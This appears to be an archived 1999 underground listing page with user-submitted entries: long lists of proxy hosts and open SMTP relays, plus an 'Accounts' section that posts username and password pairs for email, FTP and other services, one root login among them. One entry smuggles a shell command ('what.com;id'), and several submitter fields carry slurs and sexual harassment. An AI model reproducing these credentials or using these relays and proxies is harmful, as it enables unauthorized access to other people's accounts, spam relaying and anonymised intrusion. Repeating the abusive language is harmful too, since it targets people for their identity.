EDT by sandoc] a3p71dyn.smart.net [latency: 10/14/99 13:34:51 EDT by sandoc] neptune.sunlink.net [latency: 10/13/99 04:35:24 EDT by Alin] 216.224.143.50 [latency: 10/12/99 15:31:45 EDT by HaHa BruceL. ur GAY] 208.247.48.4 [latency: 10/12/99 15:30:25 EDT by BLaH] 216.224.143.49 [latency: 10/12/99 10:43:42 EDT by bruce lee] 208.247.48.3 [latency: 10/11/99 16:09:47 EDT] c1004730-a.cstvl1.sfba.home.com [latency: 10/11/99 15:26:54 EDT by sandoc] chat.msn.com [latency: 10/11/99 14:29:23 EDT] commserve.co.uk [latency: 10/11/99 11:34:05 EDT] note.ark.ne.jp [latency: 10/11/99 10:42:00 EDT by kalkin] 212.33.3.234 [latency: 10/09/99 14:33:41 PDT by sandoc] tc1-1-94.netgate.com.uy [latency: 10/09/99 14:22:27 PDT by sandoc] we-24-130-50-203.we.mediaone.net [latency: 10/09/99 14:17:49 PDT by sandoc] 24.200.1.2 [latency: 10/09/99 14:04:57 PDT by sandoc] 194.204.241.41 [latency: 10/09/99 14:03:10 PDT by sandoc] interamericana.com.do [latency: 10/09/99 13:38:50 PDT by sandoc] tombrown.net [latency: 10/09/99 13:36:02 PDT by sandoc] cpu1555.adsl.bellglobal.com [latency: 10/09/99 13:32:24 PDT by sandoc] winnt.cs.usm.my [latency: 10/09/99 13:27:11 PDT by sandoc] gaon.zg.szczecin.pl [latency: 10/09/99 13:22:34 PDT by sandoc] 167.114.19.107 [latency: 10/09/99 13:14:11 PDT by sandoc] 195.33.220.27 [latency: 10/09/99 13:11:22 PDT by sandoc] du-148-233-71-91.telmex.net.mx [latency: 10/09/99 13:06:04 PDT by sandoc] t3o940p118.telia.com [latency: 10/09/99 13:03:06 PDT by sandoc] 213.8.0.188 [latency: 10/09/99 12:55:56 PDT by sandoc] madero2.interxcable.net.mx [latency: 10/09/99 12:54:26 PDT by sandoc] 212.252.49.240 [latency: 10/09/99 12:51:13 PDT by sandoc] interglion.glion.ch [latency: 10/09/99 12:45:24 PDT by sandoc] cp029zev08.gelrevision.nl [latency: 10/09/99 12:41:23 PDT by sandoc] tconl80252.tconl.com [latency: 10/09/99 12:37:48 PDT by sandoc] 195.249.229.4 [latency: 10/08/99 21:52:59 PDT] ss06.co.us.ibm.com [latency: 10/08/99 21:45:31 PDT] 195.249.229.4 [latency: 10/08/99 21:44:23 PDT] ss06.co.us.ibm.com [latency: 10/08/99 06:41:47 PDT by kiko] 24.3.39.170 [latency: 10/08/99 05:20:44 PDT] teen-chat.chatspace.com [latency: 10/06/99 17:14:43 PDT by upyours] 193.95.100.214 [latency: 10/06/99 12:39:26 PDT by sandoc] tateyama.tokyo.main.co.jp [latency: 10/06/99 12:37:38 PDT by sandoc] md4690b42.utfors.se [latency: 10/06/99 12:36:12 PDT by sandoc] ipp-9-135-varna.ttm.bg [latency: 10/06/99 12:28:14 PDT by sandoc] 212.252.56.80 [latency: 10/06/99 12:26:17 PDT by sandoc] 24.200.1.65 [latency: 10/06/99 12:22:12 PDT by sandoc] 212.119.70.130 [latency: 10/06/99 12:15:17 PDT by sandoc] 194.178.9.132 [latency: 10/06/99 09:27:15 PDT] GUA2ppp-96.uc.infovia.com.ar [latency: 10/05/99 12:59:26 PDT by sandoc] ns1.mitsubishi-seibi.ac.jp [latency: 10/05/99 12:57:36 PDT by sandoc] remoha.lnk.telstra.net [latency: 10/05/99 12:56:43 PDT by sandoc] 212.252.66.5 [latency: 10/05/99 12:52:15 PDT by sandoc] 194.243.99.162 [latency: 10/05/99 12:47:24 PDT by sandoc] dns1.caps.co.jp [latency: 10/05/99 12:42:40 PDT by sandoc] jonghyun.static.star.net.nz [latency: 10/04/99 15:55:46 PDT by kol4o] driver.tohai.co.jp [latency: 10/04/99 14:00:59 PDT by sandoc] ns.balkansys.com [latency: 10/04/99 13:49:22 PDT by sandoc] radio1.sanet.ge [latency: 10/04/99 13:48:26 PDT by sandoc] 168.187.78.34 [latency: 10/04/99 13:39:11 PDT by sandoc] 195.100.248.146 [latency: 10/04/99 13:37:51 PDT by Chaos] 203.116.6.6 [latency: 10/04/99 13:35:07 PDT by sandoc] ipshome-gw.iwahashi.co.jp [latency: 10/04/99 13:32:45 PDT by sandoc] 24.4.124.166 [latency: 10/03/99 23:43:45 PDT] 24.4.116.38 [latency: 10/03/99 20:47:40 PDT] 152.163.243.201 [latency: 10/03/99 17:11:45 PDT] 194.204.205.129 [latency: 10/03/99 10:32:54 PDT by sandoc] ns0-gw.nsjnet.co.jp [latency: 10/03/99 10:29:00 PDT by sandoc] ohs.ocs.k12.al.us [latency: 10/03/99 10:27:05 PDT by sandoc] ns.sanshusha.co.jp [latency: 10/03/99 10:22:38 PDT by sandoc] mail.ermanco.com [latency: 10/03/99 10:20:29 PDT by sandoc] colqbr.ozemail.com.au [latency: 10/03/99 10:16:47 PDT by sandoc] pen22755-1.gw.connect.com.au [latency: 10/03/99 09:13:18 PDT by kahn] jonghyun.static.star.net.nz [latency: 10/03/99 01:34:27 PDT by sparco] 195.205.50.135 [latency: 10/02/99 22:54:11 PDT by Novel] 209.251.71.115 [latency: 10/02/99 22:53:51 PDT by Novel] 202.21.8.21 [latency: 10/02/99 22:53:37 PDT by Novel] 207.0.118.250 [latency: 10/02/99 22:53:21 PDT by Novel] 210.237.183.226 [latency: 10/02/99 22:53:06 PDT by Novel] 195.216.48.13 [latency: 10/02/99 22:52:38 PDT by Novel] 165.21.118.128 [latency: 10/02/99 22:52:25 PDT by Novel] 210.145.218.162 [latency: 10/02/99 22:52:10 PDT by Novel] 206.103.12.131 [latency: 10/02/99 22:51:53 PDT by Novel] 12.17.117.102 [latency: 10/02/99 22:51:32 PDT by Novel] 210.164.86.34 [latency: 10/02/99 22:51:17 PDT by Novel] 193.15.228.156 [latency: 10/02/99 22:50:49 PDT by Novel] 24.3.39.170 [latency: 10/02/99 22:50:23 PDT by Novel] 210.170.93.66 [latency: 10/02/99 22:50:11 PDT by Novel] 24.3.111.117 [latency: 10/02/99 22:49:59 PDT by Novel] 202.44.210.202 [latency: 10/02/99 22:49:41 PDT by Novel] 202.21.8.31 [latency: 10/02/99 22:49:25 PDT by Novel] 203.28.52.161 [latency: 10/02/99 22:49:11 PDT by Novel] 194.243.99.162 [latency: 10/02/99 22:48:46 PDT by UHOA] 202.152.9.20 [latency: 10/02/99 22:48:31 PDT by Novel] 161.184.146.34 [latency: 10/02/99 22:48:17 PDT by Novel] 195.249.229.4 [latency: 10/02/99 22:48:04 PDT by Novel] 142.250.6.2 [latency: 10/02/99 22:47:48 PDT by Novel] 24.3.217.170 [latency: 10/02/99 22:47:33 PDT by Novel] 195.41.205.179 [latency: 10/02/99 22:47:08 PDT] Sciencerocks.com [latency: 10/02/99 20:42:26 PDT by logon:Gelston Psw:s1] cyberspace.org [latency: 10/02/99 20:41:13 PDT] 194.75.255.156 [latency: 10/02/99 11:43:16 PDT by Jim Bob] 198.247.214.89 [latency: 10/02/99 11:41:03 PDT by Jim Bob] pcse.essalud.sld.pe [latency: 10/02/99 10:59:04 PDT by sandoc] seanmoyer.ne.mediaone.net [latency: 10/02/99 10:56:19 PDT by sandoc] garrison-grafixx.com [latency: 10/02/99 10:55:27 PDT by sandoc] 212.174.65.167 [latency: 10/02/99 10:51:57 PDT by sandoc] 101.161.12.dn.dialup.cityline.ru [latency: 10/02/99 10:48:06 PDT by sandoc] 209.112.31.34 [latency: 10/01/99 16:14:15 PDT by sandoc] 210.169.139.161 [latency: 10/01/99 16:12:44 PDT by sandoc] 207.107.88.21 [latency: 10/01/99 15:29:03 PDT by sandoc] 212.174.65.76 [latency: 10/01/99 14:52:38 PDT by sandoc] ss06.co.us.ibm.com [latency: 10/01/99 14:49:32 PDT by sandoc] o u mind...if i fuck u? [latency: 10/01/99 13:00:20 PDT by Ivan Dimitrov] 198.247.215.1 [latency: 09/30/99 15:02:12 PDT] mh.gymnaziumtu.cz [latency: 09/30/99 13:21:22 PDT by sandoc] 210.114.231.130 [latency: 09/30/99 13:18:59 PDT by sandoc] 210.56.18.225 [latency: 09/30/99 13:16:33 PDT by sandoc] pen22755-1.gw.connect.com.au [latency: 09/30/99 13:14:19 PDT by sandoc] cix.abaco.edu.pe [latency: 09/30/99 13:09:37 PDT by sandoc] note.ark.ne.jp [latency: 09/30/99 13:07:40 PDT by sandoc] 208.5.13.15 [latency: 09/30/99 13:05:23 PDT by sandoc] 203.135.2.188 [latency: 09/30/99 13:01:51 PDT by sandoc] 193.227.185.190 [latency: 09/30/99 12:59:35 PDT by sandoc] 194.204.205.127 [latency: 09/30/99 12:58:22 PDT by sandoc] 193.227.181.144 [latency: 09/30/99 12:55:20 PDT by sandoc] 200.230.120.133 [latency: 09/30/99 12:53:51 PDT by sandoc] 194.75.255.156 [latency: 09/29/99 10:19:20 PDT by sandoc] infou429.jet.es [latency: 09/29/99 10:18:13 PDT by sandoc] 212.252.66.206 [latency: 09/29/99 10:16:50 PDT by sandoc] 203.197.208.36 [latency: 09/29/99 10:15:07 PDT by sandoc] 216.226.197.179 [latency: 09/29/99 10:05:53 PDT by sandoc] chaus.ozemail.com.au [latency: 09/29/99 10:04:12 PDT by sandoc] maodcfm.egat.or.th [latency: 09/29/99 10:01:24 PDT by sandoc] 200.46.20.185 [latency: 09/29/99 09:56:02 PDT by sandoc] 195.249.229.4 [latency: 09/29/99 09:53:20 PDT by sandoc] sscoin.com [latency: 09/29/99 09:47:10 PDT by sandoc] proxy.cyberg.it [latency: 09/29/99 08:46:47 PDT by aaa] 195.182.171.121 [latency: 09/29/99 05:27:51 PDT by Bi0Sk|lleR] whois.internic.net [latency: 09/28/99 10:57:58 PDT] 200.42.146.150 [latency: 09/28/99 10:03:10 PDT by sandoc] 203.197.9.162 [latency: 09/28/99 09:56:20 PDT by sandoc] mail.tbccorp.com [latency: 09/28/99 09:54:59 PDT by sandoc] MF2-1-036.mgfairfax.rr.com [latency: 09/28/99 09:48:25 PDT by sandoc] 195.146.98.226 [latency: 09/28/99 09:34:37 PDT by sandoc] 202.186.134.6 [latency: 09/28/99 04:30:26 PDT by B Wang] 207.139.234.203 [latency: 09/27/99 20:54:19 PDT by monster] radna-gw.supermedia.pl [latency: 09/27/99 20:30:25 PDT] DONT.WRITE. BULLSHIT.HERE [latency: 09/27/99 19:22:09 PDT by abed] 209.21.14.65 [latency: 09/27/99 13:40:26 PDT by sandoc] 192.117.8.253 [latency: 09/27/99 13:38:27 PDT by sandoc] 192.106.117.25 [latency: 09/27/99 13:35:07 PDT by sandoc] 212.68.152.3 [latency: 09/27/99 13:33:46 PDT by sandoc] 194.73.125.69 [latency: 09/27/99 13:29:42 PDT by sandoc] sie-home-1-7.urbanet.ch [latency: 09/27/99 13:09:32 PDT by sandoc] neptune.sunlink.net [latency: 09/27/99 08:51:15 PDT by Juxtaposition] 24.1.3.125 [latency: 09/27/99 08:32:57 PDT by Juxtaposition] 24.1.4.116 [latency: 09/27/99 08:31:56 PDT by Juxtaposition] sherlock.ibi.co.za [latency: 09/26/99 15:44:34 PDT by Juxtaposition] 207.50.228.163 [latency: 09/26/99 10:19:37 PDT by sandoc] 193.15.241.21 [latency: 09/26/99 10:10:53 PDT by sandoc] 194.25.204.29 [latency: 09/26/99 10:09:24 PDT by sandoc] 207.229.47.11 [latency: 09/26/99 10:08:00 PDT by sandoc] 205.237.210.214 [latency: 09/26/99 10:06:38 PDT by sandoc] c30-169.the-bridge.net [latency: 09/26/99 09:59:18 PDT by sandoc] 38.30.155.88 [latency: 09/25/99 21:17:05 PDT by Jame] 152.169.201.156 [latency: 09/25/99 20:23:48 PDT] 24.112.84.102 [latency: 09/25/99 13:11:04 PDT by BLaZeR u Newbie!] 24.112.84.94 [latency: 09/25/99 13:10:23 PDT by BLaZeR u NeWb! H] mail.trikotazas.lt [latency: 09/25/99 12:08:31 PDT by babysuk] 209.183.86.96 [latency: 09/25/99 11:11:55 PDT by Shogo] 206.103.12.131 [latency: 09/25/99 10:41:41 PDT by sandoc] proxy01.faboro.ch [latency: 09/25/99 10:36:49 PDT by sandoc] pc1.expansion.com.mx [latency: 09/25/99 10:36:06 PDT by sandoc] 207.3.122.85 [latency: 09/25/99 10:33:38 PDT by sandoc] radna-gw.supermedia.pl [latency: 09/25/99 10:29:52 PDT by sandoc] 202.135.160.10 [latency: 09/25/99 10:28:57 PDT by sandoc] gateway.eltjanst.se [latency: 09/25/99 10:26:13 PDT by sandoc] ns.holonic.co.jp [latency: 09/25/99 10:24:57 PDT by sandoc] 203.101.1.22 [latency: 09/25/99 10:23:18 PDT by sandoc] 163.121.200.72 [latency: 09/25/99 10:13:01 PDT] 195.216.48.13 [latency: 09/25/99 06:42:29 PDT] 24.112.84.93 [latency: 09/24/99 23:50:43 PDT by U R DEAD ZASZ U FAG] 24.112.97.9 [latency: 09/24/99 23:39:29 PDT by BLaZeR] 210.237.183.226 [latency: 09/24/99 20:55:02 PDT by ~TG|{~ZaSz] 200.210.15.188 [latency: 09/24/99 20:54:40 PDT by ZaSz] 24.226.156.214 [latency: 09/24/99 20:54:20 PDT by ZaSz] 202.21.8.31 [latency: 09/24/99 20:54:07 PDT by ZaSz] 202.21.8.21 [latency: 09/24/99 20:53:54 PDT by ~TG|{~ZaSz] 200.210.15.166 [latency: 09/24/99 20:53:34 PDT by ZaSz] 139.142.170.233 [latency: 09/24/99 20:53:22 PDT by ZaSz] 24.30.53.10 [latency: 09/24/99 20:53:10 PDT by ZaSz] 24.30.109.224 [latency: 09/24/99 20:52:44 PDT by ZaSz] 24.0.233.86 [latency: 09/24/99 20:52:34 PDT by ZaSz] 200.255.107.140 [latency: 09/24/99 20:52:11 PDT by ZaSz] 200.36.8.103 [latency: 09/24/99 20:51:56 PDT by ZaSz] 200.38.211.242 [latency: 09/24/99 20:51:42 PDT by ZaSz] 200.38.211.253 [latency: 09/24/99 20:51:24 PDT by ZaSz] 200.38.211.246 [latency: 09/24/99 20:51:10 PDT by ZaSz] 210.169.139.161 [latency: 09/24/99 20:50:59 PDT by ZaSz] 210.226.69.210 [latency: 09/24/99 20:50:48 PDT by ZaSz] 209.251.71.115 [latency: 09/24/99 20:50:30 PDT by ZaSz] 24.0.79.151 [latency: 09/24/99 20:50:18 PDT by ZaSz] 24.0.79.40 [latency: 09/24/99 20:50:05 PDT by ZaSz] 24.4.27.2 [latency: 09/24/99 20:49:49 PDT by ZaSz] 207.102.5.161 [latency: 09/24/99 20:49:36 PDT by ZaSz] 207.102.5.162 [latency: 09/24/99 20:49:21 PDT by ZaSz] 210.164.86.34 [latency: 09/24/99 20:49:06 PDT by ZaSz] 195.67.1.34 [latency: 09/24/99 20:48:12 PDT by ZaSz] 195.216.48.36 [latency: 09/24/99 20:47:54 PDT by ZaSz] 195.216.48.30 [latency: 09/24/99 20:47:41 PDT by ZaSz] 195.216.48.13 [latency: 09/24/99 20:47:24 PDT by ZaSz] 210.226.82.162 [latency: 09/24/99 20:47:06 PDT by ZaSz] 200.13.19.218 [latency: 09/24/99 20:46:51 PDT by ZaSz] 200.13.19.213 [latency: 09/24/99 20:46:36 PDT by ZaSz] 200.13.19.181 [latency: 09/24/99 20:46:21 PDT by ZaSz] 200.13.19.141 [latency: 09/24/99 20:46:08 PDT by ZaSz] 200.13.19.76 [latency: 09/24/99 20:45:55 PDT by ZaSz] 200.13.19.33 [latency: 09/24/99 20:45:43 PDT by ~TG|{~ZaSz] 195.182.171.121 [latency: 09/24/99 20:45:21 PDT by ZaSz] 24.112.39.232 [latency: 09/24/99 20:43:14 PDT by ZaSz] 24.2.29.54 [latency: 09/24/99 20:41:41 PDT by ZaSz] 24.112.75.210 [latency: 09/24/99 20:41:30 PDT by ZaSz] 24.112.7.143 [latency: 09/24/99 20:41:18 PDT by ZaSz] 24.93.15.248 [latency: 09/24/99 20:41:05 PDT by ZaSz] 24.64.210.14 [latency: 09/24/99 20:40:52 PDT by ZaSz] 24.112.167.186 [latency: 09/24/99 20:40:36 PDT by ZaSz] 203.102.199.109 [latency: 09/24/99 20:40:13 PDT by ZaSz] 210.161.200.82 [latency: 09/24/99 20:39:55 PDT by ZaSz] 207.102.5.162 [latency: 09/24/99 20:39:42 PDT by ZaSz] 207.102.5.161 [latency: 09/24/99 20:39:26 PDT by ZaSz] 203.102.199.209 [latency: 09/24/99 20:39:15 PDT by ZaSz] 203.102.199.186 [latency: 09/24/99 20:39:02 PDT by ZaSz] 203.102.199.72 [latency: 09/24/99 20:38:51 PDT by ZaSz] 203.102.199.21 [latency: 09/24/99 20:38:40 PDT by ZaSz] 203.102.199.22 [latency: 09/24/99 20:38:16 PDT by ZaSz] 203.102.199.11 [latency: 09/24/99 20:38:03 PDT by ZaSz] 209.165.135.138 [latency: 09/24/99 20:37:53 PDT by ZaSz] 216.72.47.33 [latency: 09/24/99 20:37:36 PDT by ZaSz] 216.72.47.18 [latency: 09/24/99 20:37:23 PDT by ZaSz] 216.72.47.16 [latency: 09/24/99 20:37:08 PDT by ZaSz] 216.72.47.12 [latency: 09/24/99 20:36:51 PDT by ~TG|{~ZaSz = ZaSz] 216.72.47.8 [latency: 09/24/99 20:36:14 PDT by ZaSz] 216.72.47.4 [latency: 09/24/99 20:36:01 PDT by ZaSz] 209.4.68.50 [latency: 09/24/99 20:35:44 PDT by ZaSz] 200.38.211.253 [latency: 09/24/99 20:35:32 PDT by ZaSz] 200.38.211.251 [latency: 09/24/99 20:35:08 PDT by ZaSz] 200.38.211.240 [latency: 09/24/99 20:34:49 PDT by ZaSz] SMTP Relays ~~~~~~~~~~~ mail.ecalton.com [latency: 10/13/99 03:17:54 EDT] mail.daisytek.com [latency: 10/12/99 21:01:58 EDT by AntiEdie] mail.usa.de [latency: 10/12/99 10:53:48 EDT by Sub.Xer0] Lionhead.co.uk [latency: 10/12/99 04:43:14 EDT by DrSoloMan] gatekeeper.collins.rockwell.com [latency: 10/12/99 00:37:13 EDT by Sauron] smtp.bip.net [latency: 10/09/99 12:18:32 PDT] smtp.smtp.net [latency: 10/09/99 10:48:24 PDT by GkA] smtp.tm.net.my [latency: 10/09/99 07:57:17 PDT by EeKkS] az-fw.azerty.com [latency: 10/08/99 17:46:22 PDT by Edie] 143.92.24.65 [latency: 10/06/99 23:37:58 PDT by brahma] 194.96.164.150 [latency: 10/06/99 16:06:39 PDT by Agent Hamel] smtp.kabelfoon.nl [latency: 10/06/99 12:00:31 PDT] sanborn.k12.nh.us [latency: 10/06/99 11:31:44 PDT by om3g4 sucks] mail.ttlc.net [latency: 10/06/99 11:31:02 PDT by om3g4 sucks] are p3E9D4CB5.dip0.t-ipconnect.d [latency: 10/04/99 22:48:41 PDT by nethe@d] mail.bright.net [latency: 10/04/99 18:43:51 PDT by tommy] mail.netzero.net [latency: 10/03/99 19:43:07 PDT by iceburn(pratik)] smtp.home.se [latency: 10/03/99 13:26:18 PDT by aDreNaLinZ] 207.155.122.20 [latency: 10/03/99 01:51:39 PDT by T|rant] 216.129.5.92 [latency: 10/02/99 12:30:49 PDT by Neri] turing.unicamp.br [latency: 09/30/99 17:22:35 PDT by - Dark Priest -] smtp.cybercable.fr [latency: 09/29/99 03:58:31 PDT by is that me??] ub.edu.ar [latency: 09/28/99 08:42:29 PDT by Avelino Porto] 200.39.147.18 [latency: 09/27/99 19:39:42 PDT] mail.eexi.gr [latency: 09/27/99 11:13:56 PDT] freemail.org.mk [latency: 09/25/99 17:17:28 PDT] 209.183.86.96 [latency: 09/25/99 11:14:46 PDT by vegan_100%] mail.versaversa.be [latency: 09/25/99 05:43:41 PDT by tt] surabaya.wasantara.net.id [latency: 09/25/99 03:18:03 PDT] 204.143.102.68 [latency: 09/24/99 05:28:49 PDT by hiran] 161.200.192.1 [latency: 09/22/99 09:52:46 PDT] smtp.netpathway.com [latency: 09/21/99 18:32:54 PDT by SycoKiddie] library.shastacollege.edu [latency: 09/20/99 09:14:31 PDT by Capt. Krunch] sandwich.net [latency: 09/18/99 04:28:34 PDT by BroS^ Inc ] zoom.com [latency: 09/17/99 18:45:22 PDT by Pistor Joubert] 205.252.249.4 [latency: 09/16/99 01:52:38 PDT by The Mad1 (or Mad1)] mail.worldinter.net [latency: 09/14/99 19:19:48 PDT by Animosity] elitist.org [latency: 09/12/99 19:37:15 PDT by daniel shatter] mail.dailypost.com [latency: 09/11/99 06:39:22 PDT by KaDoS HaRdCoRe 1488] 140.254.114.178 [latency: 09/10/99 17:19:40 PDT] smtp.netzero.net [latency: 09/10/99 08:36:04 PDT] smtp.mail.com [latency: 09/10/99 01:52:46 PDT by neron] ibm.net [latency: 09/09/99 20:29:44 PDT by aNaS] config2.il.us.ibm.net [latency: 09/09/99 20:29:22 PDT by aNaS] patent.womplex.ibm.com [latency: 09/09/99 20:28:13 PDT by aNaS] partners.boulder.ibm.com [latency: 09/09/99 20:27:37 PDT by aNas] ncc.hursley.ibm.com [latency: 09/09/99 20:27:03 PDT by aNas] mail.ichadmin.uk.ibm.com [latency: 09/09/99 20:26:42 PDT by aNas] config1.il.us.ibm.net [latency: 09/09/99 20:26:20 PDT by aNaS] bugtiz.com [latency: 09/09/99 20:24:40 PDT by aNaS] anas17.net [latency: 09/09/99 20:23:59 PDT by aNaS] mail.net-magic.net [latency: 09/09/99 17:21:08 PDT by this'n really works!] smtp.apolloweb.net [latency: 09/08/99 12:52:07 PDT by aNaS] anas17.com [latency: 09/08/99 12:50:47 PDT by aNAS] smtp-gw01.ny.us.ibm.net [latency: 09/08/99 12:50:02 PDT by aNaS] ultra.unt.se [latency: 09/06/99 16:53:47 PDT by Razzon] 130.91.28.211 [latency: 09/06/99 16:52:49 PDT by Razzon] 203.102.153.226 [latency: 09/06/99 16:52:30 PDT by Razzon] sierrasource.com [latency: 09/06/99 14:05:42 PDT] pop.casema.net [latency: 09/05/99 14:23:16 PDT] maxking.com [latency: 09/04/99 17:06:49 PDT by AcidFire] ns1.peoples.com.ar [latency: 09/02/99 21:13:37 PDT by Merry Michael] hell.com [latency: 09/01/99 20:55:09 PDT by InsaneOne] springfield.mec.edu [latency: 09/01/99 10:59:51 PDT] hotpop.com [latency: 08/29/99 22:26:53 PDT by Scalpel] 164.109.1.3:22 [latency: 08/28/99 14:38:59 PDT] mail.compuserve.com [latency: 08/28/99 03:08:25 PDT] smtp.i.wanna.fuck.ur.mother.com [latency: 08/27/99 01:47:47 PDT by I Wanna Fuck Your Mo] smtp.mail.com [latency: 08/27/99 01:46:54 PDT by Mail.Com User] smtp.tm.net.my [latency: 08/27/99 01:45:47 PDT by TMNet User] smtp.jaring.my [latency: 08/27/99 01:45:09 PDT by Jaring User] pop.netsoc.ucd.ie [latency: 08/26/99 09:02:54 PDT] pop.site1.csi.com [latency: 08/26/99 02:29:48 PDT by RuCKuS] mail.cut.org [latency: 08/24/99 10:03:44 PDT by neron sux dick] host.phc.igs.net [latency: 08/24/99 04:18:56 PDT] smtp.phc.igs.net [latency: 08/24/99 04:17:19 PDT] zeus.ax.com [latency: 08/23/99 21:27:05 PDT by Messiah] smtp.ifrance.com [latency: 08/23/99 10:48:42 PDT by k-tEAR] smtp.obase.com [latency: 08/21/99 18:34:14 PDT by Arthur Dent] mail.hackers.com [latency: 08/21/99 13:48:52 PDT by ^Omega] mail.porn.com [latency: 08/21/99 13:47:52 PDT by ^Omega] wsnet.ru [latency: 08/21/99 05:27:04 PDT by telotrin] ugansk.wsnet.ru [latency: 08/21/99 05:26:24 PDT by telotrin] mail.ugansk.intergrad.com [latency: 08/21/99 05:17:33 PDT by telotrin] smtp-khi2.super.net.pk [latency: 08/19/99 13:13:28 PDT by Manch] graham.nettlink.net.pk [latency: 08/19/99 13:11:09 PDT by Manch] mail.cut.org [latency: 08/19/99 11:14:08 PDT by néron] mail.cyberamy.com [latency: 08/19/99 11:06:38 PDT] mail.mendes-inc.com [latency: 08/19/99 04:40:45 PDT by RALPH] zoooom.net [latency: 08/18/99 19:34:39 PDT by kopkila] smtp.ozemail.com.au [latency: 08/16/99 07:58:10 PDT] mailgw.netvision.net.il [latency: 08/14/99 23:04:29 PDT by Anton] smtp.mail.ru [latency: 08/14/99 23:03:40 PDT by Anton] purg.com [latency: 08/13/99 17:38:57 PDT] jeg.eier.holmlia.com [latency: 08/13/99 05:24:16 PDT by Music-BoY] saintmail.net [latency: 08/12/99 07:20:17 PDT by trinity] pop.fast.co.za [latency: 08/12/99 07:19:21 PDT] smtp2.zdlists.com [latency: 08/11/99 15:47:30 PDT by Razzon] mail.eexi.gr [latency: 08/10/99 15:10:26 PDT] mail.cyberamy.com [latency: 08/08/99 20:36:08 PDT by noname] gilman.org [latency: 08/08/99 13:19:37 PDT] mail.friendsbalt.org [latency: 08/08/99 13:19:21 PDT] cache-rb03.proxy.aol.com [latency: 08/07/99 09:41:00 PDT by Buddy McKay] merlin.sicher.priv.at [latency: 08/06/99 21:29:33 PDT by DeadWrong] smtp.infovia.com.gt [latency: 08/06/99 17:22:27 PDT] zoooom.net [latency: 08/06/99 11:14:00 PDT by CrazyNiga] aol.net.pk [latency: 08/06/99 11:13:43 PDT by CrazyNigaq] 169.207.154.209 [latency: 08/05/99 22:02:06 PDT by Razzon] cpqsysv.ipu.rssi.ru [latency: 08/04/99 01:31:17 PDT] hell.org [latency: 08/03/99 21:41:46 PDT by Suid Flow] 205.188.192.57 [latency: 08/03/99 21:27:53 PDT by vegan_5] 216.192.10.4 [latency: 08/03/99 21:27:22 PDT by vegan_5] mail.net-magic.net [latency: 08/03/99 16:18:49 PDT by Micheal Layland] mail.sojourn.com [latency: 08/03/99 15:01:38 PDT by ZeScorpion] mail.q-texte.net.ma [latency: 08/03/99 13:10:51 PDT by LeSaint] mail.netvision.net.il [latency: 08/03/99 11:04:03 PDT] fasolia-louvia.com.cy [latency: 08/03/99 02:27:46 PDT by blah] mail.direct.ca [latency: 08/02/99 21:46:52 PDT] Spacewalker.wanna.join.it.com [latency: 08/01/99 15:40:28 PDT] mail.start.com.au [latency: 08/01/99 07:27:25 PDT by QuaKeee] mail.vestelnet.com [latency: 08/01/99 07:26:41 PDT by QuaKeee] 205.149.115.147 [latency: 08/01/99 04:06:16 PDT by KeKoA] bareed.ayna.com [latency: 07/30/99 07:03:24 PDT] youthnet.org [latency: 07/30/99 01:11:21 PDT by vegan_%] inext.ro [latency: 07/28/99 14:35:02 PDT by latency] iccnet.icc.net.sa [latency: 07/28/99 14:02:54 PDT by none] mail.eexi.gr [latency: 07/27/99 15:39:30 PDT] mail.dnt.ro [latency: 07/27/99 01:00:59 PDT by DitZi] mail.compuserve.com [latency: 07/26/99 13:11:15 PDT by CyberNissart] pg.net.my [latency: 07/25/99 09:23:19 PDT by [X]r3Wt] scholar.cc.emory.edu [latency: 07/24/99 14:49:04 PDT by Cougar] imail.young-world.com [latency: 07/24/99 08:34:44 PDT by The Lord] mail.cut.org [latency: 07/22/99 17:40:19 PDT by AniXter] 205.244.102.167 [latency: 07/22/99 14:47:28 PDT by Razzon] relay.cyber.net.pk [latency: 07/22/99 03:24:48 PDT by crush2] mail.lanalyst.nl [latency: 07/22/99 00:55:18 PDT by phobetor] mail.lig.bellsouth.net [latency: 07/22/99 00:48:27 PDT by Deth Penguin] batelco.com.bh [latency: 07/21/99 12:54:53 PDT by asswipe] ns1.infonet-dev.co.jp [latency: 07/20/99 18:25:11 PDT by bokuden] inext.ro [latency: 07/20/99 15:11:39 PDT by the_aDb] siamail.sia.it [latency: 07/20/99 13:07:27 PDT by The Lord] Accounts ~~~~~~~~ usa.net login fasaraxs : 77fasaraxs77 [latency: 10/14/99 19:56:47 EDT by ad] ftp.pioneeris.net login thunderz : vinnie [latency: 10/14/99 17:49:01 EDT by CRTLBL1159] microsoft.com login skyhawk : 07011971 [latency: 10/14/99 15:38:31 EDT] www.dalnet.com login houhou : nounou [latency: 10/12/99 14:59:04 EDT by haissam] www.adultcheck.com login 8276791110 : Life time! [latency: 10/12/99 09:29:02 EDT by Malcolmx-] DAMN, MANY THAT WORKS.COM login FUCK : YOU [latency: 10/11/99 12:57:55 EDT by GAY MAN] what.com;id login a : b [latency: 10/11/99 12:14:07 EDT by c] www.hotmail.com login sc_ous_er : iuytrewq [latency: 10/09/99 13:16:35 PDT by santa] www.hotmail.com login hananboro : gal92792 [latency: 10/09/99 05:54:53 PDT by hananb] www.skyrock.com in forum login jonathan : jonathan [latency: 10/09/99 04:31:19 PDT by CuTkiL3r2] 198.110.16.89 login guest : guest [latency: 10/08/99 21:28:57 PDT] ns1.snv1.gctr.net login BoEhSeRxOnKeL : sth [latency: 10/08/99 17:04:29 PDT by merlin] liquid.cc login ady007 : adyady* [latency: 10/08/99 16:47:15 PDT by Ady007] thirdpig.com login root : blank [latency: 10/08/99 13:18:15 PDT by Da-lamah] www.tripod.com login radus : sefu [latency: 10/08/99 11:19:06 PDT] www.celebrityx.com login george1231 : power [latency: 10/07/99 03:55:18 PDT by LoGi[C]] www.hotmail.com login lauralee_atu : goodlord [latency: 10/06/99 17:58:36 PDT by Please_delete_me] www.hotmail.com login habibpublic : slave [latency: 10/06/99 14:08:33 PDT] myownemail.com login kazboross : zero [latency: 10/05/99 04:40:17 PDT by Vlad] 198.110.16.89 login guest : guest [latency: 10/05/99 03:59:12 PDT by initd_] www.infohack.org login oculto : WARNING [latency: 10/05/99 03:56:28 PDT by El Hispano] www.infohack.org login SECRET : WARNING [latency: 10/05/99 03:56:12 PDT by El Hispano] www.infohack.org login secreto : WARNING [latency: 10/05/99 03:55:32 PDT by ElHispano] www.hotmail.com login habibpublic : slave [latency: 10/05/99 02:59:51 PDT by Death-Maniac] www.logone.net login tfarrukh : rbroots [latency: 10/05/99 02:59:05 PDT by DeSeRt-StAr] microsoft.com login skyhawk : 07011971 [latency: 10/03/99 20:31:10 PDT by shiva717] 